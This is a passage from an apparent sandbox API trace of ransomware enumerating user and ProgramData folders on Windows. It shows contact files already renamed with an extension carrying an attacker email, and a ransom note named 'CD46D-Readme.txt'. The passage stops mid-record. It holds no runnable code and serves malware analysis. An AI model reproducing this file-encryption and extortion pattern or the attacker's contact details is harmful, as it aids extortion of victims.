returned 0x6e0 [0142.652] FindNextFileW (in: hFindFile=0x8d9b90, lpFindFileData=0x911620 | out: lpFindFileData=0x911620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80340916, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSScan", cAlternateFileName="")) returned 1 [0142.652] wcscmp (_String1="MSScan", _String2=".") returned 1 [0142.652] wcscmp (_String1="MSScan", _String2="..") returned 1 [0142.652] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x56) returned 0x8fee28 [0142.652] wcscpy (in: _Dest=0x8fee28, _Source="C:\\ProgramData\\Microsoft\\Windows NT" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT") returned="C:\\ProgramData\\Microsoft\\Windows NT" [0142.652] wcscat (in: _Dest=0x8fee28, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\") returned="C:\\ProgramData\\Microsoft\\Windows NT\\" [0142.653] wcscat (in: _Dest=0x8fee28, _Source="MSScan" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSScan") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSScan" [0142.653] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8fee28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x950 [0142.654] FindNextFileW (in: hFindFile=0x8d9b90, lpFindFileData=0x911620 | out: lpFindFileData=0x911620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80340916, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSScan", cAlternateFileName="")) returned 0 [0142.654] FindClose (in: hFindFile=0x8d9b90 | out: hFindFile=0x8d9b90) returned 1 [0142.654] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x911620) returned 1 [0142.654] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e49f8) returned 1 [0142.654] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f9328) returned 1 Thread: id = 1707 os_tid = 0x848 [0139.908] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x46) returned 0x8f92d8 [0139.908] wcscpy (in: _Dest=0x8f92d8, _Source="C:\\ProgramData\\Microsoft\\WwanSvc" | out: _Dest="C:\\ProgramData\\Microsoft\\WwanSvc") returned="C:\\ProgramData\\Microsoft\\WwanSvc" [0139.908] wcscat (in: _Dest=0x8f92d8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\WwanSvc\\") returned="C:\\ProgramData\\Microsoft\\WwanSvc\\" [0139.908] wcscat (in: _Dest=0x8f92d8, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\WwanSvc\\*") returned="C:\\ProgramData\\Microsoft\\WwanSvc\\*" [0139.908] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x911888 [0139.908] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\WwanSvc\\*", lpFindFileData=0x911888 | out: lpFindFileData=0x911888*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8da150 [0141.612] wcscmp (_String1=".", _String2=".") returned 0 [0141.612] FindNextFileW (in: hFindFile=0x8da150, lpFindFileData=0x911888 | out: lpFindFileData=0x911888*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.612] wcscmp (_String1="..", _String2=".") returned 1 [0141.612] wcscmp (_String1="..", _String2="..") returned 0 [0141.612] FindNextFileW (in: hFindFile=0x8da150, lpFindFileData=0x911888 | out: lpFindFileData=0x911888*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 1 [0141.612] wcscmp (_String1="Profiles", _String2=".") returned 1 [0141.612] wcscmp (_String1="Profiles", _String2="..") returned 1 [0141.612] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x54) returned 0x8ff008 [0141.612] wcscpy (in: _Dest=0x8ff008, _Source="C:\\ProgramData\\Microsoft\\WwanSvc" | out: _Dest="C:\\ProgramData\\Microsoft\\WwanSvc") returned="C:\\ProgramData\\Microsoft\\WwanSvc" [0141.612] wcscat (in: _Dest=0x8ff008, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\WwanSvc\\") returned="C:\\ProgramData\\Microsoft\\WwanSvc\\" [0141.612] wcscat (in: _Dest=0x8ff008, _Source="Profiles" | out: _Dest="C:\\ProgramData\\Microsoft\\WwanSvc\\Profiles") returned="C:\\ProgramData\\Microsoft\\WwanSvc\\Profiles" [0142.142] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8ff008, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6f8 [0142.143] FindNextFileW (in: hFindFile=0x8da150, lpFindFileData=0x911888 | out: lpFindFileData=0x911888*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 0 [0142.143] FindClose (in: hFindFile=0x8da150 | out: hFindFile=0x8da150) returned 1 [0142.143] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x911888) returned 1 [0142.143] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f92d8) returned 1 [0142.143] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f9378) returned 1 Thread: id = 1708 os_tid = 0x84c [0139.909] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x50) returned 0x8e4a50 [0139.909] wcscpy (in: _Dest=0x8e4a50, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData" [0139.909] wcscat (in: _Dest=0x8e4a50, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\" [0139.909] wcscat (in: _Dest=0x8e4a50, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\*" [0139.909] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x911af0 [0139.909] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\*", lpFindFileData=0x911af0 | out: lpFindFileData=0x911af0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8da1d0 [0139.909] wcscmp (_String1=".", _String2=".") returned 0 [0139.909] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911af0 | out: lpFindFileData=0x911af0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.909] wcscmp (_String1="..", _String2=".") returned 1 [0139.909] wcscmp (_String1="..", _String2="..") returned 0 [0139.909] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911af0 | out: lpFindFileData=0x911af0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Local", cAlternateFileName="")) returned 1 [0139.909] wcscmp (_String1="Local", _String2=".") returned 1 [0139.909] wcscmp (_String1="Local", _String2="..") returned 1 [0139.909] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x58) returned 0x8ff068 [0139.909] wcscpy (in: _Dest=0x8ff068, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData" [0139.909] wcscat (in: _Dest=0x8ff068, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\" [0139.909] wcscat (in: _Dest=0x8ff068, _Source="Local" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local" [0139.910] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8ff068, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3a8 [0139.911] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911af0 | out: lpFindFileData=0x911af0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalLow", cAlternateFileName="")) returned 1 [0139.911] wcscmp (_String1="LocalLow", _String2=".") returned 1 [0139.911] wcscmp (_String1="LocalLow", _String2="..") returned 1 [0139.911] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x5e) returned 0x90eae0 [0139.911] wcscpy (in: _Dest=0x90eae0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData" [0139.911] wcscat (in: _Dest=0x90eae0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\" [0139.911] wcscat (in: _Dest=0x90eae0, _Source="LocalLow" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow" [0139.911] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x90eae0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3ac [0139.912] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911af0 | out: lpFindFileData=0x911af0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x87b76f00, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x87b76f00, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 1 [0139.912] wcscmp (_String1="Roaming", _String2=".") returned 1 [0139.912] wcscmp (_String1="Roaming", _String2="..") returned 1 [0139.912] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x5c) returned 0x90eb48 [0139.912] wcscpy (in: _Dest=0x90eb48, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData" [0139.912] wcscat (in: _Dest=0x90eb48, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\" [0139.912] wcscat (in: _Dest=0x90eb48, _Source="Roaming" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" [0139.912] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x90eb48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3b0 [0139.913] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911af0 | out: lpFindFileData=0x911af0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x87b76f00, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x87b76f00, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 0 [0139.913] FindClose (in: hFindFile=0x8da1d0 | out: hFindFile=0x8da1d0) returned 1 [0139.914] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x911af0) returned 1 [0139.914] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e4a50) returned 1 [0139.914] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e4268) returned 1 Thread: id = 1709 os_tid = 0x850 [0139.914] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x62) returned 0x8f11a8 [0139.915] wcscpy (in: _Dest=0x8f11a8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data" [0139.915] wcscat (in: _Dest=0x8f11a8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data\\" [0139.915] wcscat (in: _Dest=0x8f11a8, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data\\*" [0139.915] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x911af0 [0139.915] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data\\*", lpFindFileData=0x911af0 | out: lpFindFileData=0x911af0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0139.915] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x911af0) returned 1 [0139.915] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f11a8) returned 1 [0139.915] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x908c78) returned 1 Thread: id = 1710 os_tid = 0x854 [0139.916] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x52) returned 0x8ff0c8 [0139.916] wcscpy (in: _Dest=0x8ff0c8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts" [0139.916] wcscat (in: _Dest=0x8ff0c8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\" [0139.916] wcscat (in: _Dest=0x8ff0c8, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\*" [0139.916] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x911af0 [0139.916] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\*", lpFindFileData=0x911af0 | out: lpFindFileData=0x911af0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa39b72c0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0xa39b72c0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8da150 [0140.190] wcscmp (_String1=".", _String2=".") returned 0 [0140.190] FindNextFileW (in: hFindFile=0x8da150, lpFindFileData=0x911af0 | out: lpFindFileData=0x911af0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa39b72c0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0xa39b72c0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.190] wcscmp (_String1="..", _String2=".") returned 1 [0140.190] wcscmp (_String1="..", _String2="..") returned 0 [0140.190] FindNextFileW (in: hFindFile=0x8da150, lpFindFileData=0x911af0 | out: lpFindFileData=0x911af0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ea7ef20, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2ea7ef20, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2ea7ef20, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x5b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Aclviho ASldjfl.contact.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="ACLVIH~1.CD4")) returned 1 [0140.190] wcscmp (_String1="Aclviho ASldjfl.contact.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0140.190] wcscmp (_String1="Aclviho ASldjfl.contact.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0140.190] FindNextFileW (in: hFindFile=0x8da150, lpFindFileData=0x911af0 | out: lpFindFileData=0x911af0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf0fefd94, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x10b1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Administrator.contact", cAlternateFileName="ADMINI~1.CON")) returned 1 [0140.190] wcscmp (_String1="Administrator.contact", _String2=".") returned 1 [0140.190] wcscmp (_String1="Administrator.contact", _String2="..") returned 1 [0140.190] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7a) returned 0x8f73d8 [0140.190] wcscpy (in: _Dest=0x8f73d8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts" [0140.190] wcscat (in: _Dest=0x8f73d8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\" [0140.190] wcscat (in: _Dest=0x8f73d8, _Source="Administrator.contact" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact" [0140.190] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f73d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x268 [0140.191] FindNextFileW (in: hFindFile=0x8da150, lpFindFileData=0x911af0 | out: lpFindFileData=0x911af0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaa5080, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaa5080, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaa5080, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x5ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="asdlfk poopvy.contact.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="ASDLFK~1.CD4")) returned 1 [0140.191] wcscmp (_String1="asdlfk poopvy.contact.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0140.191] wcscmp (_String1="asdlfk poopvy.contact.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0140.191] FindNextFileW (in: hFindFile=0x8da150, lpFindFileData=0x911af0 | out: lpFindFileData=0x911af0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa36251c0, ftCreationTime.dwHighDateTime=0x1d5945e, ftLastAccessTime.dwLowDateTime=0xa36251c0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0xa3d6f520, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x6fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="CD46D-Readme.txt", cAlternateFileName="CD46D-~1.TXT")) returned 1 [0140.191] wcscmp (_String1="CD46D-Readme.txt", _String2=".") returned 1 [0140.191] wcscmp (_String1="CD46D-Readme.txt", _String2="..") returned 1 [0140.191] FindNextFileW (in: hFindFile=0x8da150, lpFindFileData=0x911af0 | out: lpFindFileData=0x911af0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eacb1e0, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eacb1e0, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eacb1e0, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="chucu jadnvk.contact.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="CHUCUJ~1.CD4")) returned 1 [0140.191] wcscmp (_String1="chucu jadnvk.contact.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0140.191] wcscmp (_String1="chucu jadnvk.contact.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0140.191] FindNextFileW (in: hFindFile=0x8da150, lpFindFileData=0x911af0 | out: lpFindFileData=0x911af0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0140.191] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0140.191] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0140.191] FindNextFileW (in: hFindFile=0x8da150, lpFindFileData=0x911af0 | out: lpFindFileData=0x911af0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="lulcit amkdfe.contact.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="LULCIT~1.CD4")) returned 1 [0140.191] wcscmp (_String1="lulcit amkdfe.contact.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0140.191] wcscmp (_String1="lulcit amkdfe.contact.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0140.191] FindNextFileW (in: hFindFile=0x8da150, lpFindFileData=0x911af0 | out: lpFindFileData=0x911af0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x5af, dwReserved0=0x0, dwReserved1=0x0, cFileName="sikvnb huvuib.contact.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="SIKVNB~1.CD4")) returned 1 [0140.191] wcscmp (_String1="sikvnb huvuib.contact.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0140.192] wcscmp (_String1="sikvnb huvuib.contact.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0140.192] FindNextFileW (in: hFindFile=0x8da150, lpFindFileData=0x911af0 | out: lpFindFileData=0x911af0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, 